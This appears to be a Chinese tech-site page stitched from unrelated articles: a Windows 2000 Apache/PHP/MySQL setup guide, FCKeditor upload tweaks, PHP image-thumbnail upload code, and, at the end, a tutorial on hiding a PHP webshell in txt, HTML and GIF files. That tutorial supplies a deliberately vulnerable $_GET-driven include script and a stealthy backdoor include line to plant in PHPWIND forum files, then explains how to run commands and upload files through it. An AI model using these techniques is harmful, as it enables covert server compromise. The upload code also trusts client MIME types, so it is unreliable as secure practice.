Windows2000下安装ApachePHP4MySQL

 更新时间:2016年11月25日 15:28  点击:2051
内容:一、 安装APACHE1.3.9(配置conf目录下的httpd.conf文件)
1.#BindAddress * 改为 BindAddress 127.0.0.1
#Servername new.host.name 改为 Servername localhost
2.让你的APACHE来支持PHP4. 加上下面这么几句:
ScriptAlias /php4/ "C:/php4/"
AddType application/x-httpd-php4 .php
AddType application/x-httpd-php4 .php3
AddType application/x-httpd-php4 .php4
Action application/x-httpd-php4 "/php4/php.exe"
3.设置Apache虚拟目录,加入以下行:
Alias /test/ "c:/php3/test/"
Alias /jjjj/ "d:/timenet/"
4.增加默认启动文档:
DirectoryIndex index.html
DirectoryIndex index.htm
DirectoryIndex index.php
DirectoryIndex index.php3
DirectoryIndex index.php4
5.测试文件info.php:
在浏览器中输入http://localhost/info.php
二、php4安装(php-4.0.2pl2-Win32.zip)
1. 将软件包解压到c:\php4下。
2. 再将目录下的所有dll文件拷到c;\winnt\system32下,不要覆盖已有的dll文件。将目录下的php.exe和php.ini-dist两个文件拷到c:\winnt下;
3. 将winnt\php.ini-dist改名为php.ini,并找到;Windows Extensions项将
extension_dir = c:\php4
extension=php_zlib.dll
extension =php_ldap.dll
extension =php_zlib.dll
extension =php_calendar.dll
extension =php_exif.dll
extension =php_ftp.dll
extension =php_mssql70.dll (这一项不要加,没有MSSQL7.0呀)
extension =php_imap.dll
有就去掉前面的分号,没有就自己加上。这个部分轻易出现错误,是因为在php.ini文件中指定加载了无效的或者不存在的php_*.dll文件,加载这些错误信息还可能导致浏览器寻找不到服务器。
4. PHP.INI其他设置:
asp_tags = On ; 答应使用ASP风格的标记
upload_max_filesize = 2097152;上载文件的最大字节
(关于mysql的设置)
mysql.default_host = localhost;
mysql.default_user = root;
mysql.default_password= yourpasswd; 以上
(在您使用include函数时,只有被指定的目录下的文件才可以被包含)
include_path = \path1;\path2;\path3....
(只有c:\php4\test目录下面的php文件才可以执行)
doc_root= c:\php4\test
三、MySQL安装(mysql-3.23.27-beta-win.zip)
1. 先安装mysql,默认安装路径为:c:\mysql
2. 打开“运行”输入C:\mysql\bin\mysqld-nt.exe ?install
3. 打开“治理工具”->“服务”,找到“mysql”服务,启动它。重启windows2000。

 

 

我的php4和mysql的软件包是php-4.0.1pl2-Win32.zip、mysql-3.23.19-beta-win.zip。

先安装mysql,用winzip8.0打开软件包进行完全安装,默认安装路径为:c:mysql;
安装完成后,打开“开始”按钮中的“运行”,输入命令:C:mysqlinmysqld-nt.exe --install,并执行;
打开“开始”按钮下的“程序”=》“治理工具”=》“服务”,找到“mysql”服务,启动它;
至此,mysql安装完成,重启win2000adanced server。您还可以打开C:mysqlinwinmysqladmin.exe,在第一次用它时,需要建立治理员名及密码,我分别设置为root和(yourpassword)。关闭它后,程序自动在状态行下建立一个“红绿灯”的小图标。
现在开始安装php4,将软件包先用winzip解压到c:php4下,再将目录下的所有dll文件拷到c;winntsystem32下,不要覆盖已有的dll文件;接着将目录下的php.exe和php.ini-dist两个文件拷到c:winnt下;
将c:winntphp.ini-dist改名为php.ini,并打开它,找到;Windows Extensions,将extension=php_calendar.dll、extension=php_zlib.dll、extension=php_ldap.dll前的“;”去掉,关闭该文件。
打开“开始”按钮下的“程序”=>“治理工具”=>“internet服务治理器”,选中“默认web站点”,打开它的“属性”窗口。在“web站点”页下,改变“IP地址”:“全部未分配”为“(您机子的ip地址,例如:202.195.243.131)”;“TCP端口”为“80”。
接着,选中“主目录”页,单击“应用程序设置”下的“配置”按钮后,在新窗口下单击“添加”按钮;在“可执行文件”中输入“C:WINNTphp.exe %s %s”,在“扩展名”中输入“.php”,点击“确定”。
接着,选中“ISAPI筛选器”页,单击“添加”按钮;在“筛选器名称”中输入“php”,在“可执行文件”中输入“C:WINNTsystem32php4isapi.dll”,点击“确定”。
接着,选中“文档”页,单击“添加”按钮;在“默认文档名”中输入“index.php”,点击“确定”,并将其提高到最高级。您还可以添加常用的php文件名,如:“default.phtml”、“index.php3”等。
关闭所有窗口,重启系统后,可打开IE浏览器进行测试。


FCKeditor目前最新的版本是2.5.1,我花了点时间将里面一些文件进行了修改,更适合实际的应用.具体的修改过程请看说明,也可以直接下载修改后的程序,见附件.

1.删除editor/_source 目录
这是FCKeditor的源码,可以删除

2.删除editor/lang 目录中除en/zh/zh-cn的语言文件

3.删除editor/filemanage/connectors 除php的目录

4.修改fckconfig.js

修改默认语言.注:这一步应该可以忽略,FCKeditor好像会自动匹配浏览器的语言
找到


FCKConfig.DefaultLanguage = 'en' ;
修改为:


FCKConfig.DefaultLanguage = 'zh-cn' ;
扩展字体,增加常用中文字体
找到


FCKConfig.FontNames = 'Arial;Comic Sans MS;Courier New;Tahoma;Times New Roman;Verdana' ;
修改为:


FCKConfig.FontNames = '宋体;黑体;隶书;楷体_GB2312;Arial;Comic Sans MS;Courier New;Tahoma;Times New Roman;Verdana' ;
修改字号,FCKeditor中的字号是用"smaller;larger;xx-small;"等名称表示,不够直观,我们将其改成数字+px的形式
找到


FCKConfig.FontSizes = 'smaller;larger;xx-small;x-small;small;medium;large;x-large;xx-large' ;
修改为


FCKConfig.FontSizes  = '9px;10px;11px;12px;13px;14px;16px;18px;24px;36px' ;
5.修改editor/filemanage/connectors/php/config.php
FCKeditor默认是关闭文件上传的,如果要打开,必须修改这个文件
找到


$Config['Enabled'] = false ;
修改为


$Config['Enabled'] = true ;
6.修改editor/filemanage/connectors/php/io.php
FCKeditor在上传文件是不对文件名进行重命名,这会影响到用中文名命名的文件
找到

PHP代码:
// Do a cleanup of the file name to avoid possible problems
function SanitizeFileName( $sNewFileName )
{
 global $Config ;
 $sNewFileName = stripslashes( $sNewFileName ) ;
 // Replace dots in the name with underscores (only one dot can be there... security issue).
 if ( $Config['ForceSingleExtension'] )
  $sNewFileName = preg_replace( '/\.(?![^.]*$)/', '_', $sNewFileName ) ;
 // Remove  / | : ? * " < >
 $sNewFileName = preg_replace( '/\\|\/|\||\:|\?|\*|"|<|>/', '_', $sNewFileName );
 return $sNewFileName ;
}


修改为

PHP代码:
// Do a cleanup of the file name to avoid possible problems
function SanitizeFileName( $sNewFileName )
{
 global $Config ;
 $sNewFileName = stripslashes( $sNewFileName ) ;
 // Replace dots in the name with underscores (only one dot can be there... security issue).
 if ( $Config['ForceSingleExtension'] )
  $sNewFileName = preg_replace( '/\.(?![^.]*$)/', '_', $sNewFileName ) ;
 $sExtension = substr( $sNewFileName, ( strrpos($sNewFileName, '.') + 1 ) ) ;
 $sNewFileName = my_setfilename().'.'.$sExtension;
 return $sNewFileName ;
}
function my_setfilename(){
 $gettime = explode(' ',microtime());
 $string = 'abcdefghijklmnopgrstuvwxyz0123456789';
 $rand = '';
 for ($x=0;$x<6;$x++)
  $rand .= substr($string,mt_rand(0,strlen($string)-1),1);
 return date("ymdHis").substr($gettime[0],2,6).$rand;
}


7.FCKeditor在上传文件时出现的一些提示框为英文,为了方便使用,可以选择将这些提示汉化,如果不需要,可以忽略这一步
具体是修改以下文件:
editor/filemanage/connectors/php/commands.php
editor/filemanage/connectors/php/connector.php
editor/filemanage/connectors/php/upload.php
editor/dialog/fck_flash/fck_flash.js
editor/dialog/fck_image/fck_image.js
editor/dialog/fck_link/fck_link.js

昨天公司突然要一个上传文件带附件,还要一个带图片上传功能并且要生成缩略图效果,下面我就把我的代码贴出来吧.

首先来看看up.htm文件,代码如下:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>无标题文档</title>
</head>

<body>
<form action="s.php" method="post" enctype="multipart/form-data" name="form1" id="form1">
  <input type="file" name="image" id="image" />
  <label>
  <input type="submit" name="button" id="button" value="提交" />
  </label>
</form>
<label></label>
</body>
</html>
其实上页就是一个简单的htm 文件,把信息post给我们下面要讲到的文件s.php

if($_FILES['image']['name']){
    if($_FILES['image']['size']){
    if($_FILES['image']['type'] == "image/pjpeg"){
     $im = @imagecreatefromjpeg($_FILES['image']['tmp_name']);
     $n_bmp.='.jpg';
    }elseif($_FILES['image']['type'] == "image/x-png"){
     $im = @imagecreatefrompng($_FILES['image']['tmp_name']);
     $n_bmp.='.png';
    }elseif($_FILES['image']['type'] == "image/gif"){
     $im = @imagecreatefromgif($_FILES['image']['tmp_name']);
     $n_bmp.='.gif';
    }    
    }
    ResizeImage($im,120,60,md5(date("Y-m-d H:i:s")));    
    ImageDestroy ($im);
    $tag=1;
   }

 

function ResizeImage($im,$maxwidth,$maxheight,$name){
   $width = imagesx($im);
   $height = imagesy($im);
  if(($maxwidth && $width > $maxwidth) || ($maxheight && $height > $maxheight)){
   if($maxwidth && $width > $maxwidth){
   $widthratio = $maxwidth/$width;
   $RESIZEWIDTH=true;
   }
   if($maxheight && $height > $maxheight){
   $heightratio = $maxheight/$height;
   $RESIZEHEIGHT=true;
   }
  if($RESIZEWIDTH && $RESIZEHEIGHT){
  if($widthratio < $heightratio){
   $ratio = $widthratio;
   }else{
   $ratio = $heightratio;
   }
  }elseif($RESIZEWIDTH){
  $ratio = $widthratio;
  }elseif($RESIZEHEIGHT){
  $ratio = $heightratio;
  }
  $newwidth = $width * $ratio;
  $newheight = $height * $ratio;
  if(function_exists("imagecopyresampled")){
  $newim = imagecreatetruecolor($newwidth, $newheight);
  imagecopyresampled($newim, $im, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);
  }else{
  $newim = imagecreate($newwidth, $newheight);
  imagecopyresized($newim, $im, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);
  }
  ImageJpeg ($newim,$name . ".jpg");
  ImageDestroy ($newim);
  }else{
  ImageJpeg ($im,$name . ".jpg");
  }
  }

 

就这么简单了,上页这种就是生成文件到目录了,还有一种就生成二进制在网页显示,当然你也可以保存到数据库了.然后读出.

最近很多朋友都在问我是否能把我那一句话木马隐藏到HTML或图片里,其实把一句话木马插入到PHP文件中就已经很隐蔽了,假如说硬是要放到HTML文件或图片里,就接着往下看的这篇测试报告吧。

要知道假如光把PHP语句放到图片里是无论如何也不能执行的,因为PHP只解析扩展名为php的文件。所以说要能使隐藏在图片里的PHP语句执行。我们就的借助PHP中的调用函数 :include 、require 等。

  我们还记得前些日子把木马隐藏到图片的文章吧。也就是在PHP文件里用include("x.gif")这样的语句来调用隐藏在图片的木马语句。ASP中语句也类似。看似非常隐蔽但直接调用图片对稍微懂点PHP的人就不难发现可疑之处。由于URL 里用GET方式很难传递参数,这就使得插入木马的性能得不到发挥。

  Include 函数在PHP中使用的比较频繁,所以引起的安全问题也实在太多,例如PHPWIND1.36的漏洞就是因为include后面的变量没做过滤引起的。由此我们就可以构造类似的语句来插入到PHP文件中。然后把木马隐藏到图片或HTML文件里,可以说隐蔽性就更高了。如在PHPWIND论坛里插入下面的语句:

CODE:

<?@include includ/.$PHPWIND_ROOT;?>

一般治理员是无法看出来的。

  有了include 函数来辅助帮忙我们就可以把PHP木马隐藏到 诸如 txt、html和图片文件等很多类型的文件里来了。因为txt、html和图片文件这三种类型的文件最无论在论坛还是文章系统里是最为常见的了,下面我们就依次来做测试。

  首先建立一PHP文件test.php 文件内容为:

CODE:
<?php
$test=$_GET['test'];
@include 'test/'.$test;
?>

  Txt文件一般都是说明文件,所以我们把一句话木马放到目录的说明文件里就OK了。随便建立一个TXT文件t.txt。我们把一句话木马粘贴到 t.txt文件里。然后访问 hxxp://localhost/test/test.php?test=../t.txt 假如你看到t.txt的内容就证实Ok了, 然后把在lanker微型PHP后门客户端 木马地址添入 hxxp://localhost/test/test.php?test=../t.txt 密码里添入cmd就可以了,执行返回的结果都可以看到。

  对于HTML的文件,一般都为模版文件。为了使插入到HTML的文件的木马能被调用执行而且不被显示出来,我们可以在HTML里加入一个隐藏属性的文本框 ,如: 然后使用方法同上。执行的返回结果一般都可以查看源文件看到。 如使用查看本程序目录功能。查看源文件内容为 我可以得到目录为 C:Uniserver2_7swwwtest。

  下面我们说说图片文件,要说最为毒的一招莫过于把木马隐藏到图片里。我们可以直接对一个图片进行编辑,把插入到图片末尾

  经测试一般都不会对图片造成影响。然后同样方法客户端木马地址添入

  我们查看PHP环境变量 返回的是结果是原图片。

  这里可能要和我们想象的结果有些差距了,其实命令已经运行了,只是返回的结果看不到而已,因为这是真正的GIF文件,所以是不会显示返回结果的,为了证实是否真的执行了命令我们执行上传文件命令。果不出所料,文件已经成功上传到服务器上。这样伪造的优点是隐蔽性好。缺点也自然不用说了是没回显。假如你想看到返回的结果,那就拿出记事本伪造一个假的图片文件吧。

[!--infotagslink--]

相关文章

  • Windows VPN服务器配置图文教程 超详细版

    VPN可以虚拟出一个专用网络,让远处的计算机和你相当于处在同一个局域网中,而中间的数据也可以实现加密传输,用处很大,特别是在一些大公司,分公司处在不同的区域。...2016-01-27
  • PHP7快速编译安装的步骤

    编译安装非常的简单了我们现在的php版本已经到了php7了,下文小编来为各位介绍一篇关于PHP7快速编译安装的步骤,希望文章能够帮助到各位。 一、安装必要一些依赖 yum...2016-11-25
  • Rstudio中安装package出现的问题及解决

    这篇文章主要介绍了Rstudio中安装package出现的问题及解决方案,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧...2021-05-06
  • Windows批量搜索并复制/剪切文件的批处理程序实例

    这篇文章主要介绍了Windows批量搜索并复制/剪切文件的批处理程序实例,需要的朋友可以参考下...2020-06-30
  • PHP编译安装后PHP-FPM使用笔记

    PHP-FPM我们相信各位用高版本的php经常使用到了,下面整理了一些关于PHP-FPM的笔记,有兴趣的可进来看看。 今天赶上了123System OPenVZ VPS全场半价的机会,购入了一...2016-11-25
  • C#创建简单windows窗体应用(加法器)

    这篇文章主要为大家详细介绍了C#创建一个简单windows窗体应用的方法,具有一定的参考价值,感兴趣的小伙伴们可以参考一下...2020-06-25
  • 安装和使用percona-toolkit来辅助操作MySQL的基本教程

    一、percona-toolkit简介 percona-toolkit是一组高级命令行工具的集合,用来执行各种通过手工执行非常复杂和麻烦的mysql和系统任务,这些任务包括: 检查master和slave数据的一致性 有效地对记录进行归档 查找重复的索...2015-11-24
  • Linux安装Pytorch1.8GPU(CUDA11.1)的实现

    这篇文章主要介绍了Linux安装Pytorch1.8GPU(CUDA11.1)的实现,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧...2021-03-25
  • vscode安装git及项目开发过程

    这篇文章主要介绍了vscode安装git及项目开发过程,本文通过图文并茂的形式给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下...2021-05-19
  • Visual Studio 2015下载和安装图文教程

    这篇文章主要为大家详细介绍了Visual Studio 2015下载和安装图文教程,具有一定的参考价值,感兴趣的小伙伴们可以参考一下...2021-09-22
  • Node调试工具JSHint的安装及配置教程

    现在我们介绍一种在Node下检查简单错误的JS代码验证工具JSHint。  JSHint的具体介绍参考http://www.jshint.com/about/,说直白点儿,JSHint就是一个检查JS代码规范与否的工具,它可以用来检查任何(包括server端和client端...2014-05-31
  • Centos中彻底删除Mysql(rpm、yum安装的情况)

    我用的centos6,mysql让我整出了各种问题,我想重装一个全新的mysql,yum remove mysql-server mysql之后再install并不能得到一个干净的mysql,原来的/etc/my.cnf依然没变,datadir里面的数据已没有任何变化,手动删除/etc/my.cn...2015-03-15
  • Powershell 查询 Windows 日志的方法

    这篇文章主要介绍了Powershell 查询 Windows 日志的方法,需要的朋友可以参考下...2020-06-30
  • 在PyCharm中安装PaddlePaddle的方法

    这篇文章主要介绍了在PyCharm中安装PaddlePaddle的方法,本文给大家介绍的非常想详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下...2021-02-05
  • Ubuntu20.04安装cuda10.1的步骤(图文教程)

    这篇文章主要介绍了Ubuntu20.04安装cuda10.1的步骤(图文教程),文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧...2020-07-30
  • linux服务器快速卸载安装node环境(简单上手)

    这篇文章主要介绍了linux服务器快速卸载安装node环境(简单上手),文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧...2021-02-22
  • Postman安装与使用详细教程 附postman离线安装包

    这篇文章主要介绍了Postman安装与使用详细教程 附postman离线安装包,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下...2021-03-05
  • C#实现windows form限制文本框输入的方法

    这篇文章主要介绍了C#实现windows form限制文本框输入的方法,涉及C#限制文本框输入的技巧,非常具有实用价值,需要的朋友可以参考下...2020-06-25
  • uni-app从安装到卸载的入门教程

    这篇文章主要介绍了uni-app从安装到卸载的入门教程,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧...2020-05-15
  • vs2019安装和使用详细图文教程

    这篇文章主要介绍了vs2019安装和使用详细图文教程,本文通过图文并茂的形式给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下...2020-06-25